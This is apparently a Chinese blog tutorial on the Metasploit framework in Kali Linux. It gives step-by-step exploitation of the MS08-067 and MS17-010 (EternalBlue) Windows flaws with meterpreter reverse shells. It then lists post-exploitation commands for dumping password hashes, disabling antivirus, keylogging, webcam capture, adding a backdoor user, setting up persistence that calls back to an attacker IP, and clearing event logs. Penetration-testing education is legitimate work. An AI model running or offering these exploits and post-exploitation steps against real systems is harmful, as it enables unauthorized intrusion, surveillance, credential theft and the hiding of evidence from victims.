Kali 渗透测试工具 Metasploit 的使用

发布时间 2023-06-10 17:12:55作者: 李嘉伦伦伦伦

Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具。

Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。


 

文件结构与模块:

路径: /usr/share/metasploit-framework/

config: MSF环境配置信息,数据库配置信息
data:后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
documentation:用户说明文档及开发文档
external: MSF的一些基础扩展模块
lib:基础类和第三方模块类
modules: MSF系统工具模块
plugins:第三方插件接口
scripts: MSF的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
tools:额外的小工具和第三方脚本工具
msfconsole: MSF基本命令行,集成了各种功能
msfd: MSF服务,非持久性服务
msfdb: MSF数据库
msfupdate: MSF更新模块,可以用来更新MSF模块
msfrpc: MSF的服务端,非持久性的rpc服务
msfrpcd:持久性的MSF本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。

 

用 Metasploit 进行渗透测试的一般流程:

1、扫描目标机系统,寻找可用漏洞。
2、选择并配置- 个渗透攻击(漏洞利用)模块(exploits)。
3、选择并配置- 个攻击载荷模块(payloads)。
4、选择- -种编码技术(encoders),用来绕过杀毒软件的查杀。
5、执行渗透攻击。
6、后渗透阶段的操作。

 

应用实例 ms08-067 漏洞利用:

目标机:Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版。

对目标机进行漏洞扫描,确认其存在ms08-067漏洞。本例中使用Nmap工具的以下命令对目标进行专项漏洞检测:

nmap --script smb-vuln-ms08-067.nse 目标IP地址

之后,用以下指令启动metasploit:

msfdb init && msfconsole

在msf终端下输入以下命令查找ms08-067相关模块:

search ms08-067

之后,用 use 指令,如下所示:

use 序号

可以用 show options 指令查看可选参数,用 set RHOST 指令设置目标IP,设置 payload 用如下指令:

set payload windows/meterpreter/reverse_tcp

最后,执行攻击用以下指令:

exploit

至于是否成功,自己看提示。

 

应用实例 ms017-010 漏洞利用:

目标机: Windows 7 (含ms17-010漏洞)。

先启动Metasploit,之后在ms终端下输入以下命令查找ms17-010相关模块:

search ms17-010

分别输入以下命令,使用smb_ ms17. _010模块对目标机进行漏洞检测,确认其存在ms17-010漏洞:

use auxiliary/scanner/smb/smb_ ms17_ 010

上面这条指令的意思是:使用smb_ ms17_ 010模块,也可以 use 序列号。

show options

上面这条指令的意思是:查看该模块需要设置哪些参数。

set RHOST 目标IP地址

确认参数设置完毕后,利用以下命令执行漏洞检测:

run

检测结果看提示。

如果检测结果为目标机具有ms17-010漏洞(vulnerable),则分别输入以下命令,使用ms17_ 010_ eternalblue 模块对目标机的ms17-010漏洞进行利用:

use exploit/windows/smb/ms17_ 010_ eternalblue

上面这条指令的意思是:使用ms17_ 010_ eternalblue模块。

set RHOST 目标IP地址
set payload windows/x64/meterpreter/reverse_tcp

上面这条指令的意思是:使用payload: meterpreter/reverse_ tcp

set RPORT 端口号
set target 0

上面这条指令的意思是:设置目标操作系统类型为Windows 7。

确认参数设置完毕后,利用以下命令执行漏洞利用:

run

攻击执行成功后,会显示meterpreter的提示符(为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp)。直接在该提示符下输入shell命令,则可以拿到目标机的shell。

运行了 exploit 命令之后,我们开启了一个 reverse TCP 监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell  即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit。

要想从 meterpreter 退出到MSF框架,输入以下指令:

background

输入  sessions -l   查看我们获得的 shell。
输入  sessions -i 1  即可切换到 id 为 1 的 shell。

 

在 meterpreter 中我们可以使用以下的命令来实现对目标的操作:

sysinfo 查看目标主机系统信息
run scraper 查看目标主机详细信息
run hashdump 导出密码的哈希
load kiwi 加载
ps 查看目标主机进程信息
pwd 查看目标当前目录(windows)
getlwd 查看目标当前目录(Linux)
search -f *.jsp -d e:\ 搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root 将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test 将/root/test.txt上传到目标机的 d:\test\ 目录下getpid
PIDmigrate 1384 将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime 查看主机运行时间
getuid 查看获取的当前权限
getsystem 提权
run  killav 关闭杀毒软件
screenshot 截图
webcam_list 查看目标主机的摄像头
webcam_snap 拍照
webcam_stream 开视频
execute  参数  -f 可执行文件 执行可执行程序
run getgui -u hack -p 123 创建hack用户,密码为123
run getgui -e 开启远程桌面
keyscan_start 开启键盘记录功能
keyscan_dump 显示捕捉到的键盘记录信息
keyscan_stop 停止键盘记录功能
uictl  disable  keyboard 禁止目标使用键盘
uictl  enable   keyboard 允许目标使用键盘
uictl  disable  mouse 禁止目标使用鼠标
uictl  enable   mouse 允许目标使用鼠标
load 使用扩展库
run 使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 反弹时间间隔是 5s 会自动连接,192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev 清除日志

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作:

run post/windows/manage/migrate 自动进程迁
run post/windows/gather/checkvm 查看目标主机是否运行在虚拟机上
run post/windows/manage/killav 关闭杀毒软件
run post/windows/manage/enable_rdp 开启远程桌面服务
run post/windows/manage/autoroute 查看路由信息
run post/windows/gather/enum_logged_on_users 列举当前登录的用户
run post/windows/gather/enum_applications 列举应用程序
run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码
run windows/gather/smart_hashdump dump出所有用户的hash

 

关于reverse_ tcp:

攻击机设置一个端口(LPORT)和IP(LHOST) ,Payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现目标机已经连接。

victim_ IP:xxxx -> attacker. IP:4444

采用reverse的方法一般较为安全, 因为是目标机主动连接攻击机,所以一般不会被防火墙发现。

 

关于bind_ _tcp:

攻击机设置一个端口(LPORT) ,Payload在目标机执行打开该端口,以便攻击机可以接入。

attacker_ IP:xXXx -> victim_ IP:4444

采用bind的方法,攻击机主动连接目标机( 即需要在目标机上打开端口)时很容易被安全软件和防火墙发现。